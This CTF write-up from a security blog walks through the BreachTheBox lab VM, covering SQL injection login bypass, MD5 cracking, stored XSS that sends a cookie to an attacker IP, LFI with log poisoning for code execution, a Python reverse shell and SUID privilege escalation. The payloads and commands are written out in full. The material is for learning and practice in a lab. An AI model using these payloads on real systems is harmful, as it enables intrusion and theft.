CTF (Capture The Flag) challenges are one of the best ways to sharpen your web exploitation skills. In this writeup, we walk through a realistic boot-to-root challenge called BreachTheBox — a deliberately vulnerable web application that simulates a full attack chain from initial recon to privilege escalation.
This challenge covers the OWASP Top 10 in practice: SQL injection, XSS, Local File Inclusion (LFI), log poisoning for RCE, and Linux privilege escalation via SUID binaries. If you want to follow along, spin up the BreachTheBox VM from FoxFoster CTF Arena.
Challenge Target: 192.168.1.105 (BreachTheBox VM) — All commands are against this target in an authorised lab environment.
Step 1: Reconnaissance
We start with an Nmap scan to discover open ports and services.
bash$ nmap -sV -sC 192.168.1.105 Starting Nmap 7.94 ( https://nmap.org ) Nmap scan report for 192.168.1.105 Host is up (0.0023s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 80/tcp open http Apache httpd 2.4.41 3306/tcp open mysql MySQL 8.0.32
Port 80 is running Apache. Let's enumerate directories with Gobuster.
bash$ gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt =============================================================== Gobuster v3.6 =============================================================== /admin (Status: 301) [Size: 312] [--> http://192.168.1.105/admin/] /backup (Status: 301) [Size: 314] [--> http://192.168.1.105/backup/] /api (Status: 301) [Size: 310] [--> http://192.168.1.105/api/] /css (Status: 301) [Size: 310] /js (Status: 301) [Size: 310] /index.php (Status: 200) [Size: 4821] ===============================================================
Key Findings: /admin (login panel), /backup (exposed directory), /api (REST endpoint). The /backup directory contains a SQL dump with table schemas.
Step 2: SQL Injection on the Login Page
The /admin panel presents a login form with username and password fields. A simple single quote triggers a database error, confirming SQL injection.
sql' OR 1=1 -- -
This payload bypasses authentication entirely. Let's enumerate the database structure.
sql' UNION SELECT 1,2,3,4 -- -
' UNION SELECT database(),user(),version(),@@datadir -- -
The UNION SELECT reveals breach_db as the database and root@localhost as the user. Let's dump the admin hash.
sql' UNION SELECT id, username, password, email FROM breach_db.users -- -
Result:
textID: 1
Username: admin
Password: 5d41402abc4b2a76b9719d911017c592
Email: admin@breachthebox.local
Note: The hash 5d41402abc4b2a76b9719d911017c592 is an MD5 hash of "hello". We used a simple password in this lab, but real CTFs use stronger hashes — always try multiple cracking tools.
Step 3: Cracking the MD5 Hash
We save the hash to a file and run hashcat with the rockyou wordlist.
bash$ echo "5d41402abc4b2a76b9719d911017c592" > admin.hash $ hashcat -m 0 -a 0 admin.hash /usr/share/wordlists/rockyou.txt --show 5d41402abc4b2a76b9719d911017c592:hello
Alternatively, John the Ripper works just as well:
bash$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt admin.hash Created directory: /home/kali/.john Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Press 'q' or Ctrl-C to abort, almost any other key for status hello (?) 1g 0:00:00:00 DONE (2026-06-05 10:23) 1.234g/s 7890Kp/s 7890Kc/s 7890KC/s 123456..oooooo Use the "--show" option to display all of the cracked passwords reliably
We now have credentials: admin:hello. Logging into the admin panel reveals a user management dashboard.
Step 4: Cross-Site Scripting (XSS) — Cookie Theft
The admin panel has a profile page that displays a user's "Bio" field. The bio input is not sanitised, allowing stored XSS. We craft a payload to steal the administrator's session cookie.
html<script>fetch('http://192.168.1.100/steal?c='+document.cookie)</script>
We set up a listener on our attacker machine to catch the exfiltrated cookie:
bash$ nc -lvnp 80 listening on [any] 80 ... connect to [192.168.1.100] from (UNKNOWN) [192.168.1.105] 54321 GET /steal?c=PHPSESSID=3a7b2c1d9e8f0a4b5c6d7e8f9a0b1c2d HTTP/1.1
We inject the stolen session cookie into our browser and gain admin-level access to the admin panel without needing credentials.
Warning: Stealing cookies without authorisation is illegal. This demonstration occurs in an isolated lab environment with explicit permission. Never test XSS cookie theft against real websites without written consent.
Step 5: Local File Inclusion (LFI) to RCE
While exploring the admin panel, we find a file download feature at /admin/download.php?file=report.pdf. We test for path traversal:
bash$ curl http://192.168.1.105/admin/download.php?file=../../../../etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin ...
LFI is confirmed. We can read any file on the system. To escalate this to RCE, we use Apache log poisoning.
First, we read /proc/self/environ to verify the User-Agent is logged:
bash$ curl http://192.168.1.105/admin/download.php?file=../../../../proc/self/environ DOCUMENT_ROOT=/var/www/htmlREMOTE_ADDR=192.168.1.100...We then send a request with a PHP payload in the User-Agent header, which gets written into the Apache access log:
bash$ curl -A "<?php system(\$_GET['cmd']); ?>" http://192.168.1.105/Now we include the log file and pass a command:
bash$ curl "http://192.168.1.105/admin/download.php?file=../../../../var/log/apache2/access.log&cmd=id" uid=33(www-data) gid=33(www-data) groups=33(www-data)RCE Achieved! We have command execution as the
www-datauser. This gives us a foothold on the server to begin privilege escalation.Step 6: Privilege Escalation — SUID Binary Exploit
We spawn a reverse shell for easier interaction:
bash$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'On our listener:
bash$ nc -lvnp 4444 listening on [any] 4444 ... connect to [192.168.1.100] from (UNKNOWN) [192.168.1.105] 43210 $ id uid=33(www-data) gid=33(www-data) groups=33(www-data)We search for SUID binaries that could be exploited:
bash$ find / -perm -4000 -type f 2>/dev/null /usr/bin/su /usr/bin/sudo /usr/bin/pkexec /usr/local/bin/backup-tool /usr/bin/gpasswd ...The custom binary
/usr/local/bin/backup-toolstands out as non-standard. Let's examine it:bash$ /usr/local/bin/backup-tool Usage: backup-tool <source> <destination> Copies a file with root privileges.The backup-tool binary has the SUID bit set and copies files as root. We can use it to read the flag:
bash$ /usr/local/bin/backup-tool /root/flag.txt /tmp/flag.txt File copied successfully. $ cat /tmp/flag.txt FLAG{Br34chTh3B0x_R00t_2026_c0ngr4ts!}Flag Captured:
FLAG{Br34chTh3B0x_R00t_2026_c0ngr4ts!}Alternatively, we could use the SUID binary to spawn a root shell by copying
/bin/bashto a location we control and running it, or by reading/etc/shadowand cracking the root password.Summary
The BreachTheBox challenge demonstrated a full web exploitation chain:
- Recon — Nmap and Gobuster revealed attack surface
- SQL Injection —
' OR 1=1 -- -bypassed auth; UNION SELECT dumped the admin hash - Hash Cracking — MD5 hash cracked with hashcat/rockyou
- XSS — Stored XSS in profile bio exfiltrated admin cookies
- LFI to RCE — Path traversal + log poisoning gave command execution
- Privilege Escalation — SUID backup-tool binary read the root flag
Each step in this chain is a realistic representation of real-world attacks. Modern web applications face these exact threats daily, which is why understanding the full attack chain is essential for defenders.
Practice Yourself: Head over to FoxFoster CTF Arena to attempt BreachTheBox and hundreds of other challenges. Build your own methodology and join the leaderboard.
For more writeups, tutorials, and hands-on security content, follow FoxFoster Blog and subscribe to our newsletter.